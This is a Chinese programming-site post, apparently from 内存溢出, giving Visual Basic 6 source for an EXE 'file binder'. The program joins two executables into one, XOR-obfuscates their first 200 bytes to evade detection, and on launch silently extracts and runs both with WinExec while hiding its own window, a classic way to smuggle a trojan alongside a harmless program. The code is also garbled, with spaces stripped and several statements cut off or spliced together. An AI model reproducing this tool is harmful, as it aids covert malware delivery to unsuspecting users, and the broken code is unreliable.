'界面上form1 的名字改成mainfrm
'建立3个文本控件名字分别是txtChooSEOne、txtChooseTwo、txtDestination
'建立5个按钮控件名字分别是cmdChooSEOne、cmdChooseTwo、cmdDestination、cmdBind、cmdCancel
'工程引用部件Microsoft common dialog control 6.0,然后界面放上这个控件
'工程名字一定要英文或是数字。否则程序捆绑后都是错误。
PrivateDeclareFunctionWinExeclib"kernel32"(ByVallpCmdlineAsstring,ByValnCmdshowAsLong)AsLongPrivateDeclareSubSleeplib"kernel32"(ByValDWMillisecondsAsLong)ConstSW_SHOWnorMAL=1Dimfilename1AsstringDimfilename2AsstringDimfileDestinationAsstringDimstringPlaceAsLongPrivateSubForm_Load()filename1="":filename2="":fileDestination="":StringPlace=0'OnErrorResumeNext'获取本文件完整内容DimfileContent()AsByteDimfileNumAsIntegerfileNum=Freefile()OpenfilePath&App.EXEname&".exe"ForBinaryAsfileNum'Open"c:/1.exe"ForBinaryAsfileNumReDimfileContent(fileLen(filePath&App.EXEname&".exe")-1)'ReDimfileContent(fileLen("c:/1.exe")-1)GetfileNum,fileContentClosefileNum'查找"VbExefileBind"StringPlace=InStrRev(StrConv(fileContent,vbUnicode),"VbExefileBind")IfStringPlace<>0Then'DeBUG.Print"此文件已经捆绑过!"CallSplitfileAndRun(fileContent)mainfrm.Visible=FalseEndElse'DeBUG.Print"此文件未被捆绑!"mainfrm.Visible=TrueEndIfEndSubPrivateSubcmdChooSEOne_Click()filename1=""CDLog.filename=""CDLog.ShowOpenIfTrim(CDLog.filename)<>""AndDir(Trim(CDLog.filename))<>""AndUCase(Right(Trim(CDLog.filename),4))=".EXE"ThenDimfilenameExtAsstringfilenameExt=Right(CDLog.filename,Len(CDLog.filename)-InStrRev(Trim(CDLog.filename),"/"))DimiAsInteger:i=1While(i<=Len(filenameExt))IfAsc(MID(filenameExt,i,1))<32OrAsc(MID(filenameExt,1))>127ThenMsgBox"抱歉,此程序不支持文件名为中文,请将文件名改成英文!"ExitSubEndIfi=i+1Wendfilename1=Trim(CDLog.filename)txtChooSEOne.Text=filename1CallCheckTxtElsetxtChooSEOne.Text=""filename1=""MsgBox"可能未选择文件或者文件不存在,也可能不是EXE文件!",vbCriticalEndIfEndSubPrivateSubcmdChooseTwo_Click()filename2=""CDLog.filename=""CDLog.ShowOpenIfTrim(CDLog.filename)<>""AndDir(Trim(CDLog.filename))<>""AndUCase(Right(Trim(CDLog.filename),1))>127ThenMsgBox"抱歉,此程序不支持文件名为中文,请将文件名改成英文!"ExitSubEndIfi=i+1Wendfilename2=Trim(CDLog.filename)txtChooseTwo.Text=filename2CallCheckTxtElsetxtChooseTwo.Text=""filename2=""MsgBox"可能未选择文件或者文件不存在,也可能不是EXE文件!",vbCriticalEndIfEndSubPrivateSubcmdDestination_Click()fileDestination=""CDLog.filename=""CDLog.ShowSaveIfTrim(CDLog.filename)<>""AndUCase(Right(Trim(CDLog.filename),1))>127ThenMsgBox"抱歉,此程序不支持文件名为中文,请将文件名改成英文!"ExitSubEndIfi=i+1WendfileDestination=Trim(CDLog.filename)txtDestination.Text=fileDestinationCallCheckTxtElsetxtDestination.Text=""fileDestination=""MsgBox"可能未指定文件名,也可能指定的不是EXE文件!",vbCriticalEndIfEndSubPrivateSubcmdBind_Click()'OnErrorGoToERRIfDir(fileDestination)<>""ThenIfMsgBox("文件已经存在,是否覆盖?",vbYesNo+vbQuestion)=vbYesThenKill(fileDestination)ElseMsgBox"请重新选择目标文件!",vbinformationEndIfEndIf'获取当前的完整路径DimfilePathAsstringIfRight(App.Path,1)="/"ThenfilePath=App.PathElsefilePath=App.Path&"/"EndIfDimfileNumAsIntegerDimfileContent1()AsByte:DimfileContent2()AsByte:DimfileContent3()AsByteDimIiiiiAsInteger:DimsssssAsstring'读入本程序可执行文件内容fileNum=Freefile()OpenfilePath&App.EXEname&".exe"ForBinaryAsfileNumReDimfileContent1(fileLen(filePath&App.EXEname&".exe")-1)GetfileNum,fileContent1ClosefileNum'读入第一个可执行文件内容fileNum=Freefile()Openfilename1ForBinaryAsfileNumReDimfileContent2(fileLen(filename1)-1)GetfileNum,fileContent2ForIiiii=1To200Step1Sssss=fileContent2(Iiiii-1)Xor99fileContent2(Iiiii-1)=SssssNextClosefileNum'读入第二个可执行文件内容fileNum=Freefile()Openfilename2ForBinaryAsfileNumReDimfileContent3(fileLen(filename2)-1)GetfileNum,fileContent3ForIiiii=1To200Step1Sssss=fileContent3(Iiiii-1)Xor99fileContent3(Iiiii-1)=SssssNextClosefileNum'将本程序、第一个文件和第二个文件写入新文件fileNum=Freefile()OpenfileDestinationForBinaryAsfileNumPut#fileNum,fileContent1Put#fileNum,fileContent2Put#fileNum,fileContent3Put#fileNum,"VbExefileBind"Put#fileNum,Trim(App.EXEname)&"|||"&Trim(Str(fileLen(filePath&App.EXEname&".exe")))&"////"&_MID(Right(Trim(filename1),Len(Trim(filename1))-InStrRev(Trim(filename1),"/")),1,InStr(1,LCase(Right(Trim(filename1),"/"))),".exe")-1)&"|||"&Trim(Str(fileLen(filename1)))&"////"&_MID(Right(Trim(filename2),Len(Trim(filename2))-InStrRev(Trim(filename2),LCase(Right(Trim(filename2),".exe")-1)&"|||"&Trim(Str(fileLen(filename2)))&"////"Close#fileNumDimiiAsIntegerForii=1Tolen(Trim(App.EXEname)&".exe")Step1'DeBUG.PrintAsc(MID(Trim(App.EXEname)&".exe",ii,1))NextiiMsgBox"捆绑成功!",vbinformationEndExitSubERR:OnErrorResumeNextClose#fileNumKillfileDestinationMsgBox"捆绑失败!",vbCriticalEndSubPrivateSubcmdCancel_Click()EndEndSubSubCheckTxt()IfUCase(Right(filename1,4))=".EXE"AndUCase(Right(filename2,4))=".EXE"AndUCase(Right(fileDestination,4))=".EXE"ThencmdBind.Enabled=TrueElsecmdBind.Enabled=FalseEndIfEndSubSubSplitfileAndRun(fileContent()AsByte)DimArr()Asstring'定义存放文件组信息的字符串数组DimArr1()Asstring'定义存放文件信息的字符串数组DimFN(2,1)AsstringDimstringToEofAsstring'定义存放标志字符后至文件尾部的字符变量StringToEof=MID(StrConv(fileContent,StringPlace+17)'获取标志字符后至文件尾部的字符Arr=Split(StringToEof,"////")'以“////”拆分文件组信息的字符串数组'调试输出文件相关信息DimiAsInteger:DimnAsIntegerFori=LBound(Arr)ToUBound(Arr)Step1IfArr(i)<>""ThenArr1=Split(Arr(i),"|||")'以“|||”拆分文件组信息的字符串数组Forn=LBound(Arr1)ToUBound(Arr1)Step1IfArr1(n)<>""ThenFN(i,n)=Trim(Arr1(n))'DeBUG.Print"**"&FN(i,n)&"**"EndIfNextnEndIfNexti'获取当前的完整路径DimfilePathAsstringIfRight(App.Path,1)="/"ThenfilePath=App.PathElsefilePath=App.Path&"/"EndIf'定义读写文件需要的变量DimIiiiiAsInteger:DimMmmmmAsstringDimfileContent1()AsByteDimfileNumAsIntegerOnErrorResumeNext'读取被捆绑的第一个文件fileNum=Freefile()OpenfilePath&App.EXEname&".exe"ForBinaryAsfileNum'Open"c:/1.exe"ForBinaryAsfileNumReDimfileContent1(Val(FN(1,1))-1)GetfileNum,Val(FN(0,1))+1,fileContent1ForIiiii=1To200Step1Mmmmm=CByte(fileContent1(Iiiii-1))Xor99fileContent1(Iiiii-1)=MmmmmNextClosefileNum'判断文件是否存在IfDir(FN(1,0)&".exe")<>""ThenKillFN(1,0)&".exe"'将读取到的被捆绑的第一个文件写入新文件fileNum=Freefile()OpenFN(1,0)&".exe"ForBinaryAsfileNumPut#fileNum,fileContent1Close#fileNum'读取被捆绑的第二个文件fileNum=Freefile()OpenfilePath&App.EXEname&".exe"ForBinaryAsfileNum'Open"c:/1.exe"ForBinaryAsfileNumReDimfileContent1(Val(FN(2,1))+Val(FN(1,fileContent1ForIiiii=1To200Step1Mmmmm=CByte(fileContent1(Iiiii-1))Xor99fileContent1(Iiiii-1)=MmmmmNextClosefileNum'判断文件是否存在IfDir(FN(2,0)&".exe")<>""ThenKillFN(2,0)&".exe"'将读取到的被捆绑的第二个文件写入新文件fileNum=Freefile()OpenFN(2,fileContent1Close#fileNum'如果存在则执行两个新生成的文件IfDir(filePath&FN(1,0)&".exe")<>""ThenCallWinExec(filePath&FN(1,0)&".exe",SW_SHOWnorMAL)Else'DeBUG.PrintFN(1,0)&".exe"&"不存在!"EndIfIfDir(filePath&FN(2,0)&".exe")<>""ThenCallWinExec(filePath&FN(2,SW_SHOWnorMAL)Else'DeBUG.PrintFN(2,0)&".exe"&"不存在!"EndIfEndSub总结
以上是内存溢出为你收集整理的vb 文件捆绑的例子全部内容,希望文章能够帮你解决vb 文件捆绑的例子所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)